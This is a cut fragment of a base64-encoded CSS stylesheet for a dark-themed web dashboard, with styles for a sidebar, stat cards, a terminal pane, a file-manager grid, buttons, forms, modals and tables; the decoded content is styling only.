J5OiAjNjQ3NDhiOw0KICAgICAgICAgICAgLS1ib3JkZXI6ICNlMmU4ZjA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIFtkYXRhLXRoZW1lPSJkYXJrIl0gew0KICAgICAgICAgICAgLS1iZy1wcmltYXJ5OiAjMGYxNzJhOw0KICAgICAgICAgICAgLS1iZy1zZWNvbmRhcnk6ICMxZTI5M2I7DQogICAgICAgICAgICAtLWJnLXRlcnRpYXJ5OiAjMzM0MTU1Ow0KICAgICAgICAgICAgLS10ZXh0LXByaW1hcnk6ICNmMWY1Zjk7DQogICAgICAgICAgICAtLXRleHQtc2Vjb25kYXJ5OiAjOTRhM2I4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBCYXNlIFN0eWxlcyAqLw0KICAgICAgICAqIHsNCiAgICAgICAgICAgIG1hcmdpbjogMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDA7DQogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXByaW1hcnkpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtcHJpbWFyeSk7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ0ludGVyJywgLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCBzYW5zLXNlcmlmOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBMYXlvdXQgKi8NCiAgICAgICAgLmFwcCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHdpZHRoOiAyNTBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXNlY29uZGFyeSk7DQogICAgICAgICAgICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICAgICAgZ2FwOiAyMHB4Ow0KICAgICAgICAgICAgcG9zaXRpb246IHN0aWNreTsNCiAgICAgICAgICAgIHRvcDogMDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIGZsZXg6IDE7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4Ow0KICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogTmF2aWdhdGlvbiAqLw0KICAgICAgICAubmF2LXNlY3Rpb24gaDMgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtc2Vjb25kYXJ5KTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5hdi1idG4gew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LXByaW1hcnkpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogdmFyKC0tcmFkaXVzKTsNCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5hdi1idG46aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYmctdGVydGlhcnkpOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubmF2LWJ0bi5hY3RpdmUgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0tYWNjZW50KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogQ2FyZHMgKi8NCiAgICAgICAgLmNhcmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYmctc2Vjb25kYXJ5KTsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiB2YXIoLS1yYWRpdXMpOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICBib3gtc2hhZG93OiB2YXIoLS1zaGFkb3cpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY2FyZC1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4Ow0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDE1cHg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmNhcmQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNnB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LXByaW1hcnkpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY2FyZC1zdWJ0aXRsZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0tdGV4dC1zZWNvbmRhcnkpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBTdGF0cyBHcmlkICovDQogICAgICAgIC5zdGF0cy1ncmlkIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7DQogICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdChhdXRvLWZpdCwgbWlubWF4KDIwMHB4LCAxZnIpKTsNCiAgICAgICAgICAgIGdhcDogMTVweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdGF0LWNhcmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYmctdGVydGlhcnkpOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IHZhcigtLXJhZGl1cyk7DQogICAgICAgICAgICBib3JkZXItbGVmdDogNHB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdGF0LWljb24gew0KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3RhdC12YWx1ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDI0cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogNXB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3RhdC1sYWJlbCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0tdGV4dC1zZWNvbmRhcnkpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBUZXJtaW5hbCAqLw0KICAgICAgICAudGVybWluYWwtY29udGFpbmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiB2YXIoLS1yYWRpdXMpOw0KICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRlcm1pbmFsLWhlYWRlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMWExYTFhOw0KICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzMzMzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgew0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIGhlaWdodDogMzAwcHg7DQogICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnTWVubG8nLCBtb25vc3BhY2U7DQogICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS40Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucHJvbXB0IHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1zdWNjZXNzKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm91dHB1dCB7DQogICAgICAgICAgICBjb2xvcjogIzAwZmYwMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmVycm9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1kYW5nZXIpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBGaWxlIE1hbmFnZXIgKi8NCiAgICAgICAgLmZpbGUtYWN0aW9ucyB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGVzLWdyaWQgew0KICAgICAgICAgICAgZGlzcGxheTogZ3JpZDsNCiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KGF1dG8tZmlsbCwgbWlubWF4KDIwMHB4LCAxZnIpKTsNCiAgICAgICAgICAgIGdhcDogMTVweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtaXRlbSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy10ZXJ0aWFyeSk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogdmFyKC0tcmFkaXVzKTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtaXRlbTpob3ZlciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWljb24gew0KICAgICAgICAgICAgZm9udC1zaXplOiAzMnB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmlsZS1uYW1lIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBicmVhay1hbGw7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWluZm8gew0KICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4Ow0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtc2Vjb25kYXJ5KTsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWFjdGlvbnMgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGdhcDogNXB4Ow0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBCdXR0b25zICovDQogICAgICAgIC5idG4gew0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDE2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiA2cHg7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bi1wcmltYXJ5IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4tc2Vjb25kYXJ5IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXRlcnRpYXJ5KTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LXByaW1hcnkpOw0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bi1zdWNjZXNzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLWRhbmdlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1kYW5nZXIpOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLXNtIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDRweCA4cHg7DQogICAgICAgICAgICBmb250LXNpemU6IDExcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4taWNvbiB7DQogICAgICAgICAgICB3aWR0aDogMzJweDsNCiAgICAgICAgICAgIGhlaWdodDogMzJweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDA7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogRm9ybXMgKi8NCiAgICAgICAgLmZvcm0tZ3JvdXAgew0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZvcm0tbGFiZWwgew0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZm9ybS1jb250cm9sIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgcGFkZGluZzogMTBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXRlcnRpYXJ5KTsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0tdGV4dC1wcmltYXJ5KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZvcm0tY29udHJvbDpmb2N1cyB7DQogICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDAgM3B4IHJnYmEoNTksIDEzMCwgMjQ2LCAwLjEpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBUYWJzICovDQogICAgICAgIC50YWJzIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC50YWIgew0KICAgICAgICAgICAgcGFkZGluZzogMTBweCAyMHB4Ow0KICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkIHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRhYi5hY3RpdmUgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1jb2xvcjogdmFyKC0tYWNjZW50KTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBBbGVydHMgKi8NCiAgICAgICAgLmFsZXJ0IHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiB2YXIoLS1yYWRpdXMpOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWxlcnQtc3VjY2VzcyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDE2LCAxODUsIDEyOSwgMC4xKTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdmFyKC0tc3VjY2Vzcyk7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0tc3VjY2Vzcyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hbGVydC1lcnJvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDIzOSwgNjgsIDY4LCAwLjEpOw0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDRweCBzb2xpZCB2YXIoLS1kYW5nZXIpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLWRhbmdlcik7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hbGVydC1pbmZvIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoNiwgMTgyLCAyMTIsIDAuMSk7DQogICAgICAgICAgICBib3JkZXItbGVmdDogNHB4IHNvbGlkIHZhcigtLWluZm8pOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLWluZm8pOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBNb2RhbCAqLw0KICAgICAgICAubW9kYWwgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsNCiAgICAgICAgICAgIHRvcDogMDsNCiAgICAgICAgICAgIGxlZnQ6IDA7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIGhlaWdodDogMTAwJTsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC43KTsNCiAgICAgICAgICAgIHotaW5kZXg6IDEwMDA7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tb2RhbC1jb250ZW50IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXNlY29uZGFyeSk7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiB2YXIoLS1yYWRpdXMpOw0KICAgICAgICAgICAgd2lkdGg6IDkwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogNjAwcHg7DQogICAgICAgICAgICBtYXgtaGVpZ2h0OiA5MHZoOw0KICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWhlYWRlciB7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJvZHkgew0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogVGFibGUgKi8NCiAgICAgICAgLnRhYmxlIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRhYmxlIHRoLA0KICAgICAgICAudGFibGUgdGQgew0KICAgICAgICAgICAgcGFkZGluZzogMTJweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRhYmxlIHRoIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0tdGV4dC1zZWNvbmRhcnkpOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYmctdGVydGlhcnkpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBCcmVhZGNydW1iICovDQogICAgICAgIC5icmVhZGNydW1iIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYmctdGVydGlhcnkpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogdmFyKC0tcmFkaXVzKTsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJyZWFkY3J1bWItaXRlbSB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGdhcDogOHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnJlYWRjcnVtYi1zZXBhcmF0b3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtc2Vjb25kYXJ5KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogQmFkZ2VzICovDQogICAgICAgIC5iYWRnZSB7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5iYWRnZS1zdWNjZXNzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMTYsIDE4NSwgMTI5LCAwLjIpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYmFkZ2Utd2FybmluZyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI0NSwgMTU4LCAxMSwgMC4yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13YXJuaW5nKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJhZGdlLWluZm8gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSg2LCAxODIsIDIxMiwgMC4yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1pbmZvKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLyogUHJvZ3Jlc3MgQmFyICovDQogICAgICAgIC5wcm9ncmVzcyB7DQogICAgICAgICAgICBoZWlnaHQ6IDhweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWJnLXRlcnRpYXJ5KTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wcm9ncmVzcy1iYXIgew0KICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDkwZGVnLCB2YXIoLS1hY2NlbnQpLCB2YXIoLS1pbmZvKSk7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiB3aWR0aCAwLjNzOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBVdGlsaXRpZXMgKi8NCiAgICAgICAgLnRleHQtY2VudGVyIHsgdGV4dC1hbGlnbjogY2VudGVyOyB9DQogICAgICAgIC50ZXh0LXJpZ2h0IHsgdGV4dC1hbGlnbjogcmlnaHQ7IH0NCiAgICAgICAgLmQtZmxleCB7IGRpc3BsYXk6IGZsZXg7IH0NCiAgICAgICAgLmQtbm9uZSB7IGRpc3BsYXk6IG5vbmU7IH0NCiAgICAgICAgLmFsaWduLWNlbnRlciB7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IH0NCiAgICAgICAgLmp1c3RpZnktYmV0d2VlbiB7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgfQ0KICAgICAgICAuZ2FwLTEwIHsgZ2FwOiAxMHB4OyB9DQogICAgICAgIC5nYXAtMjAgeyBnYXA6IDIwcHg7IH0NCiAgICAgICAgLnctMTAwIHsgd2lkdGg6IDEwMCU7IH0NCiAgICAgICAgLm1iLTEwIHsgbWFyZ2luLWJvdHRvbTogMTBweDsgfQ0KICAgICAgICAubWItMjAgeyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9DQogICAgICAgIC5tdC0yMCB7IG1hcmdpbi10b3A6IDIwcHg7IH0NC